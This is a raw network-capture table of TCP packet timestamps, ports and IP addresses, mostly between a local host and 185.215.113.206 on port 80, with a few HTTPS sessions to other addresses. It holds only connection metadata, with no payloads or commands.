Nov 23, 2024 09:16:56.741173983 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.742064953 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.742110968 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.742213964 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.742271900 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.743186951 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.743231058 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.743232965 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.743275881 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.744267941 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.744318962 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.744371891 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.744410038 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.745359898 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.745410919 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.745460033 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.745508909 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.746468067 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.746516943 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.746551991 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.746588945 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.747582912 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.747653008 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.747680902 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.747721910 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.748672009 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.748728991 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.751279116 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.829014063 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.829068899 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.829119921 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.829169035 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.829556942 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.829613924 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.829771996 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.829807043 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.830646038 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.830702066 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.830770016 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.830851078 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.831727982 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.831783056 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.831835985 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.831870079 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.832870960 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.832912922 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.832983971 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.833029032 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.833892107 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.833914995 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.833941936 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.833961964 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.835021973 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.835066080 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.835135937 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.835175037 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.862090111 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.862114906 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.862166882 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.862178087 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.862210989 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.862231970 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.867379904 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.867399931 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.867439032 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.867445946 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.867500067 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.873440027 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.873475075 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.873524904 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.873531103 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.873574018 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.874949932 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.875013113 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.875019073 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.875051022 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.875098944 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.875263929 CET	49862	443	192.168.2.6	23.209.72.25
Nov 23, 2024 09:16:56.875268936 CET	443	49862	23.209.72.25	192.168.2.6
Nov 23, 2024 09:16:56.899703979 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.899781942 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.899796963 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.900221109 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.900274038 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.900460958 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.900652885 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.900702953 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.901496887 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.901690006 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.901742935 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.902590036 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.902708054 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.903670073 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.903729916 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.903773069 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.903822899 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.904758930 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.904872894 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.904922009 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.905822039 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.905941010 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.906065941 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.906932116 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.906991959 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.907021046 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.907250881 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.908020973 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.908085108 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.908117056 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.908210993 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.909162045 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.909234047 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.909240961 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.909316063 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.910185099 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.910223007 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.910254955 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.910274029 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.911242962 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.911376953 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.911457062 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.912372112 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.912444115 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.912475109 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.912533045 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.913459063 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.913533926 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.913625956 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.913670063 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.914609909 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.914690971 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.914721966 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.914763927 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.915584087 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.915661097 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.915685892 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.915745020 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.916695118 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.916759968 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.916795015 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.916920900 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.917776108 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.917838097 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.917920113 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.917962074 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.918883085 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.918946981 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.918972969 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.919017076 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.919936895 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.919997931 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.920030117 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.920072079 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.921143055 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.921197891 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.921226025 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.921432972 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.922249079 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.922306061 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.922389984 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.922429085 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.923307896 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.923367977 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.923379898 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.923437119 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.924304008 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.924376011 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.924396038 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.924454927 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.925379992 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.925446987 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.925483942 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.925653934 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.926479101 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.926668882 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.926727057 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.927530050 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.927584887 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.927638054 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.927679062 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.928600073 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.928661108 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.928730965 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.928899050 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.929685116 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.929742098 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.929776907 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.929877043 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.930794001 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.930854082 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.930915117 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.930955887 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.931895018 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.931947947 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.931988001 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.932034016 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.932964087 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.933078051 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.933125973 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.934103966 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.934212923 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.934259892 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.935122013 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.935221910 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.935264111 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.936212063 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.936291933 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.937299013 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.937371969 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.937392950 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.937608004 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.938409090 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.938484907 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.938513041 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.938700914 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.939460993 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.939531088 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.939568996 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.939694881 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.940557957 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.940629959 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.940654993 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.940702915 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.941715956 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.941776991 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.941803932 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.941869974 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.942727089 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.942790031 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.942835093 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.943011045 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.943793058 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.943852901 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.943909883 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.944107056 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.944871902 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.944962978 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.944993019 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.945302963 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.945986032 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.946032047 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.946073055 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.946104050 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.947066069 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.947118044 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.947156906 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.947208881 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.948158026 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.948196888 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.948251009 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:56.949186087 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:56.949253082 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.030214071 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.030268908 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.030342102 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.030374050 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.030746937 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.030802011 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.030829906 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.030879021 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.031616926 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.031667948 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.031677008 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.031721115 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.032690048 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.032756090 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.032795906 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.032836914 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.033735037 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.033788919 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.033827066 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.033938885 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.034841061 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.034878016 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.034882069 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.034912109 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.034936905 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.035201073 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.035229921 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.035631895 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.035907030 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.035953045 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.035995007 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.036015987 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.036065102 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.036274910 CET	49888	443	192.168.2.6	13.107.246.40
Nov 23, 2024 09:16:57.083333969 CET	443	49888	13.107.246.40	192.168.2.6
Nov 23, 2024 09:16:57.101128101 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.101165056 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.101222038 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.101252079 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.101560116 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.101689100 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.101746082 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.102657080 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.102725983 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.102756977 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.102799892 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.103739023 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.103768110 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.103805065 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.103831053 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.104934931 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.104990959 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.105067968 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.105942965 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.106010914 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.106040955 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.106129885 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.107012987 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.107075930 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.107104063 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.107146025 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.108091116 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.108148098 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.108150959 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.108222008 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.109179974 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.109249115 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.109324932 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.109471083 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.110272884 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.110341072 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.110368967 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.110495090 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.111358881 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.111445904 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.111499071 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.111521959 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.112413883 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.112477064 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.112517118 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.112869024 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.113487005 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.113549948 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.113584995 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.113795996 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.114578962 CET	80	49816	185.215.113.206	192.168.2.6
Nov 23, 2024 09:16:57.114640951 CET	49816	80	192.168.2.6	185.215.113.206
Nov 23, 2024 09:16:57.114685059 CET	80	49816	185.215.113.206	192.168.2.6
